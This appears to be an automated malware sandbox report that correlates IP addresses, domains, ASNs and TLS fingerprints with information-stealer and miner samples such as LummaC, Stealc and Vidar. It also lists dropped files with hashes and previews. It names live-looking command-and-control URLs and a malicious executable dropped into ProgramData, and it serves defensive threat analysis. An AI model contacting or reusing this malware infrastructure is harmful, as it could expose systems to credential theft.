	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
194.58.114.223	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	194.58.114.223/d/525403
	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223/d/385104
	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223/d/385104
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	194.58.114.223/d/525403
	file.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse	194.58.114.223/d/385121
	SecuriteInfo.com.Trojan.Inject5.6732.13710.8794.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	194.58.114.223/d/385104
	FySc2FzpA8.exe	Get hash	malicious	Go Injector	Browse	194.58.114.223/d/525403

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yip.su	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	188.114.96.3
	Setup3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Cryptbot	Browse	188.114.97.3
	file.exe	Get hash	malicious	Cryptbot	Browse	188.114.97.3
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	188.114.97.3
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	DarkTortilla	Browse	188.114.96.3
api.myip.com	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	172.67.75.163
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.75.163
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.26.9.59
	iBO7gzlZr3.exe	Get hash	malicious	LummaC	Browse	104.26.9.59
	7CTH165fQv.exe	Get hash	malicious	Latrodectus	Browse	104.26.8.59
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	172.67.75.163
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	104.26.8.59
	5zFCjSBLvw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.26.9.59
	FySc2FzpA8.exe	Get hash	malicious	Go Injector	Browse	104.26.9.59
	file.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.75.163
joxi.net	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	7aHn0kxDWZ.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	188.114.97.3
	CKHSihDX4S.exe	Get hash	malicious	RedLine, Xmrig	Browse	188.114.97.3
	XXZahG4d9Z.exe	Get hash	malicious	RedLine, Xmrig	Browse	188.114.97.3
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	[V2]launcher.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	104.21.73.118
	Software_1.30.1.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.73.118
	Loader.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	104.21.73.118
aldiablo.cl	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	33601ca.exe	Get hash	malicious	Unknown	Browse	104.21.35.232
	35b0000.exe	Get hash	malicious	Unknown	Browse	172.67.180.170
	33601ca.exe	Get hash	malicious	Unknown	Browse	104.21.35.232
	35b0000.exe	Get hash	malicious	Unknown	Browse	104.21.35.232
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://www.bettercaremarket.com.au/pill-bottle-opener-with-magnifier-aidapt.html?comet_source=google&comet_network=x&comet_campaign=20867905123&comet_ad_group=&comet_ad_id=&comet_keyword=&comet_type=smart&gad_source=1&gclid=EAIaIQobChMIqcj6sY-ZhwMV5tgWBR0YswpVEAQYASABEgJi9fD_BwE	Get hash	malicious	Unknown	Browse	104.21.37.20
	SetLoader.exe	Get hash	malicious	Unknown	Browse	104.21.35.232
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	172.67.75.163
	5EvHHcMjRg.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
AS-REGRU	Payment_Advice.exe	Get hash	malicious	FormBook, GuLoader	Browse	37.140.192.207
	IMG_00991ORDER_FILES.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.58.112.174
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	INVG0088 LHV3495264 BL327291535V.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	Quote 1T PN40 082624.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	37.140.192.213
	Cotizaci#U00f3n 22_08_2024.exe	Get hash	malicious	FormBook	Browse	37.140.192.179
	http://successguilddi.info/	Get hash	malicious	Unknown	Browse	37.140.192.111
	PI#220824.exe	Get hash	malicious	FormBook	Browse	31.31.198.36
	PURCHASE ORDER_330011 SEPTEMBER 2024.exe	Get hash	malicious	FormBook	Browse	194.58.112.174

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	33601ca.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	35b0000.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	33601ca.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	35b0000.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	SetLoader.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	http://westburypublishing.com/	Get hash	malicious	Unknown	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	Loader.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	If doesnt work open it.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 104.26.8.59 34.117.59.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3 104.26.8.59 34.117.59.81
37f463bf4616ecd445d4a1937da06e19	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	Thermo Fisher RFQ_TFS-1207.com.exe	Get hash	malicious	GuLoader	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	file.exe	Get hash	malicious	Vidar	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	Invoice.wsf	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	x64_installer__v4.6.0.msi	Get hash	malicious	Unknown	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	SHIPMENT_DOCMSS24071327.exe	Get hash	malicious	GuLoader	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	hhs.exe	Get hash	malicious	Unknown	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	x64_installer__v4.5.9.msi	Get hash	malicious	Unknown	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	3Ojkq6hcM1.msi	Get hash	malicious	Unknown	Browse	162.159.130.233 186.64.114.115 76.76.21.123
	Nettably.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.130.233 186.64.114.115 76.76.21.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\ProgramData\CBFCFBFBFB.exe	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse
	setup.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse

Created / dropped Files

C:\$Recycle.Bin\S-1-5-18\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\ProgramData\CBFCFBFBFB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\CFHIIEHJKKECGCBFIIJDAKFHJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDHDHJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCGIDHDAKJECBFHCBAAKJKFCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIDHIEGIIIECAKEBFBAAEBKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIIIIDGHJEBFBGDHDGII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIIIIDGHJEBFBGDHDGIIIIJDHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFCFHID\HIDAAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDHDAECBGCAKEBAEBAAKKKFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJKECAAAFHJECAAAEBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10759
Entropy (8bit):	5.498911647931198
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSZl9DLadaWMHNE2Ej:yegqumcwQEtzm
MD5:	79C8A5ED93B9AFEDE66E810B5E6C4CEE
SHA1:	E0C3EA040A33A46936CE046D79B6E0B8F7190C2D
SHA-256:	A5826AE763DC2F0112F13B8E593C41F714DE46CABF6FC3FD7AFB5D5B8AAB619E
SHA-512:	52E52966B8ED775C4E12794F2E4FC02DEF268C1D640F0A0D1D5D46D2E7CF77B9AA35DA1C3A851C66797CB3F21E9B3BA28A9F79169507DAC1E861FC29BAD87378
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJJKKJJDAAAAAKFHJJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKFIIIJJKJJKEBGIDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIIDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
